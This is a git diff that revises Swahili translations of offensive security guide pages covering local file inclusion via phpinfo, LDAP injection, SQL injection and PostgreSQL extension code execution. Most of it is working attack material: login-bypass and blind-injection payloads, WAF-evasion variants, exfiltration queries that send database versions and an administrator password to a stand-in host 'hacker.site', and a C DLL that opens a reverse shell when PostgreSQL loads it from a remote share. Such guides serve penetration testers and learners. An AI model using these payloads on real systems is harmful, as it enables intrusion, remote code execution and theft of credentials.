- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,9 +10,11 @@ Unahitaji kurekebisha exploit (badilisha **=>** kwa **=>**). Ili kufanya hivyo u
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Unapaswa kubadilisha pia **payload** mwanzoni mwa exploit (kwa mfano, kwa php-rev-shell), **REQ1** (hii inapaswa kuelekeza kwenye ukurasa wa phpinfo na inapaswa kuwa na padding iliyojumuishwa, yaani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), na **LFIREQ** (hii inapaswa kuelekeza kwenye udhaifu wa LFI, yaani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Angalia mara mbili "%" unapofanya exploit ya char ya null)
|
||||
Unapaswa kubadilisha pia **payload** mwanzoni mwa exploit (kwa mfano, kwa php-rev-shell), **REQ1** (hii inapaswa kuelekeza kwenye ukurasa wa phpinfo na inapaswa kuwa na padding iliyojumuishwa, yaani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), na **LFIREQ** (hii inapaswa kuelekeza kwenye udhaifu wa LFI, yaani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Angalia asilimia mbili "%" unapofanya exploit ya char ya null)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Nadharia
|
||||
|
||||
@ -22,11 +24,11 @@ Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukis
|
||||
|
||||
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
|
||||
|
||||
Katika **linux** jina la faili hutumika kuwa **random** na iko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
|
||||
Katika **linux** jina la faili lilikuwa **random** na liliko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** hutumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
|
||||
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
|
||||
|
||||
**Python script ya kujaribu kubruuteforce jina (ikiwa urefu = 6)**
|
||||
```python
|
||||
|
@ -14,25 +14,27 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii hutokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = na / au / si / kipengee\
|
||||
**Na** = & filterlist\
|
||||
**Au** = |filterlist\
|
||||
**Si** = ! filter\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
**And** = & filterlist\
|
||||
**Or** = |filterlist\
|
||||
**Not** = ! filter\
|
||||
**Filterlist** = 1\*filter\
|
||||
**Kipengee**= rahisi / kuwepo / sehemu\
|
||||
**Rahisi** = attr filtertype assertionvalue\
|
||||
**Item**= simple / present / substring\
|
||||
**Simple** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Kuwepo** = attr = \*\
|
||||
**Sehemu** = attr ”=” \[mwanzo] \* \[mwisho]\
|
||||
**Mwanzo** = assertionvalue\
|
||||
**Mwisho** = assertionvalue\
|
||||
&#xNAN;**(&)** = Ukweli wa Kipekee\
|
||||
&#xNAN;**(|)** = Uongo wa Kipekee
|
||||
**Present** = attr = \*\
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
|
||||
Kwa mfano:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -56,7 +58,7 @@ Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (ki
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahifadhiwa.
|
||||
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahashwa.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -119,7 +121,7 @@ password=any
|
||||
|
||||
### Blind LDAP Injection
|
||||
|
||||
Unaweza kulazimisha majibu ya False au True ili kuangalia kama data yoyote inarudi na kuthibitisha uwezekano wa Blind LDAP Injection:
|
||||
Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inayorejeshwa na kuthibitisha uwezekano wa Blind LDAP Injection:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
@ -201,7 +203,7 @@ break
|
||||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Zaidi ya Payloads
|
||||
### More Payloads
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
|
@ -53,9 +53,9 @@ HQL does not support comments
|
||||
```
|
||||
### Kuithibitisha kwa operesheni za kimantiki
|
||||
|
||||
Njia ya kuaminika ya kuithibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni za kimantiki** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaashiria udhaifu wa SQL injection.
|
||||
Njia ya kuaminika ya kuthibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni za kimantiki** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaonyesha udhaifu wa SQL injection.
|
||||
|
||||
Vivyo hivyo, matumizi ya **operesheni za kihesabu** yanatumika kama mbinu bora ya kuithibitisha. Kwa mfano, ikiwa kufikia `?id=1` na `?id=2-1` kunatoa matokeo sawa, inaashiria SQL injection.
|
||||
Vivyo hivyo, matumizi ya **operesheni za kihesabu** yanatumika kama mbinu bora ya uthibitisho. Kwa mfano, ikiwa kufikia `?id=1` na `?id=2-1` kunatoa matokeo sawa, ni dalili ya SQL injection.
|
||||
|
||||
Mifano inayoonyesha uthibitisho wa operesheni za kimantiki:
|
||||
```
|
||||
@ -64,13 +64,15 @@ page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Hii orodha ya maneno iliundwa kujaribu **kuhakikisha SQLinjections** kwa njia iliyoanzishwa:
|
||||
Neno-hii orodha iliumbwa ili kujaribu **kuhakikisha SQLinjections** kwa njia iliyoanzishwa:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Kuangalia kwa Muda
|
||||
|
||||
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **kuvumbua SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
|
||||
Katika baadhi ya kesi **hutaona mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **kuvumbua SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
|
||||
Hivyo, tutakuwa tukiongeza kwenye ombi la SQL operesheni ambayo itachukua muda mrefu kukamilisha:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -93,7 +95,7 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
Katika baadhi ya matukio **kazi za usingizi hazitaruhusiwa**. Basi, badala ya kutumia kazi hizo unaweza kufanya ombi **kufanya operesheni ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi zitajadiliwa tofauti kwenye kila teknolojia (ikiwa ipo)_.
|
||||
Katika baadhi ya matukio **kazi za usingizi hazitaruhusiwa**. Basi, badala ya kutumia kazi hizo unaweza kufanya uchunguzi **ufanye operesheni ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi zitajadiliwa tofauti kwenye kila teknolojia (ikiwa ipo)_.
|
||||
|
||||
### Kutambua Nyuma
|
||||
|
||||
@ -141,12 +143,12 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
### Kugundua idadi ya safu
|
||||
|
||||
Ikiwa unaweza kuona matokeo ya ombi hili ndiyo njia bora ya kutumia.\
|
||||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote zinapaswa kurejesha idadi sawa ya safu**.\
|
||||
Mbinu mbili hutumiwa kawaida kwa ajili ya hili:
|
||||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombile la awali** linarejesha. Hii ni kwa sababu **ombile zote zinapaswa kurejesha idadi sawa ya safu**.\
|
||||
Mbinu mbili hutumiwa kawaida kwa ajili ya kusudi hili:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo litakapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
|
||||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu idadi inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo litakapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -164,7 +166,7 @@ Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katik
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Chagua zaidi na zaidi thamani za null hadi uchunguzi uwe sahihi:
|
||||
Chagua thamani zaidi na zaidi za null hadi uchunguzi uwe sahihi:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
@ -172,7 +174,7 @@ Chagua zaidi na zaidi thamani za null hadi uchunguzi uwe sahihi:
|
||||
```
|
||||
_Unapaswa kutumia `null`values kwani katika baadhi ya kesi aina ya safu za pande zote za swali lazima iwe sawa na null ni halali katika kila kesi._
|
||||
|
||||
### Toa majina ya hifadhidata, majina ya meza na majina ya safu
|
||||
### Pata majina ya hifadhidata, majina ya meza na majina ya safu
|
||||
|
||||
Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadhidata, majina ya safu za meza:
|
||||
```sql
|
||||
@ -185,22 +187,22 @@ Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadh
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Hakuna njia tofauti ya kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile ya mbinu._
|
||||
_Ikawa kuna njia tofauti za kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile mbinu._
|
||||
|
||||
## Kutumia Union Iliyofichwa
|
||||
|
||||
Wakati matokeo ya ombi yanaonekana, lakini sindano ya msingi wa umoja inaonekana haiwezekani, inamaanisha kuwepo kwa **sindano ya msingi wa umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya sindano ya kipofu. Ili kubadilisha sindano ya kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
|
||||
Wakati matokeo ya ombi yanaonekana, lakini kuingilia kwa msingi wa umoja kunaonekana kuwa haiwezekani, inamaanisha kuwepo kwa **kuingilia kwa msingi wa umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya kuingilia kipofu. Ili kubadilisha kuingilia kipofu kuwa ya msingi wa umoja, ni muhimu kubaini ombi la utekelezaji kwenye backend.
|
||||
|
||||
Hii inaweza kufanywa kwa kutumia mbinu za sindano ya kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
|
||||
Hii inaweza kufanywa kwa kutumia mbinu za kuingilia kipofu pamoja na meza za kawaida zinazohusiana na Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
|
||||
|
||||
Mara ombi litakapokuwa limetolewa, ni muhimu kubinafsisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya sindano ya msingi wa umoja inayopatikana hivi karibuni.
|
||||
Mara ombi litakapokuwa limetolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya kuingilia kwa msingi wa umoja ambayo sasa inapatikana.
|
||||
|
||||
Kwa ufahamu zaidi, rejelea makala kamili inayopatikana kwenye [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Kutumia Kosa
|
||||
|
||||
Ikiwa kwa sababu fulani huwezi kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
|
||||
Kufuata mtiririko sawa kama katika matumizi ya msingi wa umoja unaweza kuweza kutoa DB.
|
||||
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kutoa DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
@ -213,11 +215,11 @@ Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Hii ni **kesi ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu sahihi/kosa kutoka kwa uchunguzi unaweza **kutofautisha kati ya** **kosa** katika uchunguzi wa SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
|
||||
Hii ni **kesi ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu la kweli/uwongo kutoka kwa ombi unaweza **kutofautisha kati ya** **kosa** katika ombi la SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Kutumia SQLi Inayotegemea Wakati
|
||||
## Kutumia SQLi ya Muda
|
||||
|
||||
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeshuhudia mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
@ -231,11 +233,11 @@ Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**.
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database** iwasilishe taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
|
||||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database iwasilishe** taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Uhamasishaji wa data nje ya mtandao kupitia XXE
|
||||
### Kutolewa kwa data nje ya mtandao kupitia XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
@ -267,7 +269,7 @@ Orodha ya kujaribu kupita kazi ya kuingia:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Hii query inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitisho, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda pembejeo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
|
||||
Hii ombi inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitishaji, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda pembejeo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -278,12 +280,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Orodha iliyo pendekezwa**:
|
||||
|
||||
Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila kila wakati: _**Pass1234.**_\
|
||||
Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila daima: _**Pass1234.**_\
|
||||
&#xNAN;_(Hizi payloads pia zimejumuishwa katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK Uhakikisho wa Kupita
|
||||
### GBK Uthibitishaji Bypass
|
||||
|
||||
KAMA ' inasafishwa unaweza kutumia %A8%27, na wakati ' inasafishwa itaundwa: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
@ -406,7 +410,7 @@ No Whitespace - kupita kwa kutumia maoni
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
No Whitespace - kupita kwa kutumia mabano
|
||||
Hakuna Nafasi - kupita kutumia mabano
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
@ -426,7 +430,7 @@ Blacklist kutumia maneno muhimu - bypass kutumia herufi kubwa/ndogo
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Orodha ya madoido ikitumia maneno yasiyo na tofauti ya kesi - pitisha kwa kutumia opereta sawa
|
||||
Orodha ya madoido ikitumia maneno muhimu yasiyo na tofauti ya herufi - pitisha kwa kutumia opereta sawa.
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -445,9 +449,9 @@ Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita W
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
|
||||
Kwanza kabisa, zingatia kwamba ikiwa **swali la asili na jedwali ambalo unataka kutoa bendera kutoka lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
|
||||
|
||||
It’s possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
|
||||
Inawezekana **kufikia safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia swali kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## PostgreSQL Extensions
|
||||
|
||||
PostgreSQL imeandaliwa kwa kuzingatia upanuzi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa upanuzi kama vile ni kazi zilizojengwa ndani. Upanuzi hawa, kimsingi maktaba yaliyoandikwa kwa C, yanapanua hifadhidata kwa kazi, waendeshaji, au aina za ziada.
|
||||
PostgreSQL imeandaliwa na upanuzi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa upanuzi kama vile ni kazi zilizojengwa ndani. Upanuzi hawa, kimsingi maktaba yaliyoandikwa kwa C, huongeza hifadhidata kwa kazi, waendeshaji, au aina za ziada.
|
||||
|
||||
Kuanzia toleo la 8.1 na kuendelea, hitaji maalum linatolewa kwa maktaba za upanuzi: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa ni upanuzi unaofaa na pengine salama pekee ndio unatumika.
|
||||
Kuanzia toleo la 8.1, hitaji maalum limewekwa kwa maktaba za upanuzi: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa ni upanuzi unaofaa na huenda ni salama pekee ndio zinatumika.
|
||||
|
||||
Pia, kumbuka kwamba **ikiwa hujui jinsi ya** [**kupakia faili kwa mwathirika kwa kutumia PostgreSQL unapaswa kusoma chapisho hili.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
@ -68,14 +68,14 @@ $$ LANGUAGE 'plpgsql';
|
||||
```
|
||||
</details>
|
||||
|
||||
Hata, wakati ilijaribiwa kwenye toleo kubwa **makosa yafuatayo yalionekana**:
|
||||
Hata, wakati ilipofanywa kwenye toleo kubwa **kosa lifuatalo lilionekana**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Kosa hili linaelezwa katika [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana wazi, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
|
||||
> Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana dhahiri, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -90,7 +90,7 @@ Pata toleo la PsotgreSQL kwa:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Kwa ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kukusanya maktaba na toleo lolote ndani ya mfululizo wa 9.6.x kunapaswa kuhakikisha uunganisho wa mafanikio.
|
||||
Ili kuhakikisha ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kuunda maktaba na toleo lolote ndani ya safu ya 9.6.x inapaswa kuhakikisha uunganisho wa mafanikio.
|
||||
|
||||
Ili kufunga toleo hilo katika mfumo wako:
|
||||
```bash
|
||||
@ -166,7 +166,9 @@ PG_RETURN_VOID();
|
||||
```
|
||||
Unaweza kupata DLL iliyokusanywa katika zip hii:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
Unaweza kuonyesha kwa DLL hii **ni binary ipi itatekelezwa** na idadi ya mara za kuitekeleza, katika mfano huu itatekeleza `calc.exe` mara 2:
|
||||
```bash
|
||||
@ -252,38 +254,38 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Kumbuka jinsi katika kesi hii **kode mbaya iko ndani ya kazi ya DllMain**. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutatekeleza **reverse shell**:
|
||||
Kumbuka jinsi katika kesi hii **kode mbaya iko ndani ya kazi ya DllMain**. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutafanya **utekelezaji** wa shell ya kinyume:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
Mradi wa [PolyUDF](https://github.com/rop-la/PolyUDF) pia ni mahali pazuri pa kuanzia na mradi kamili wa MS Visual Studio na maktaba inayoweza kutumika (ikiwemo: _command eval_, _exec_ na _cleanup_) yenye msaada wa toleo nyingi.
|
||||
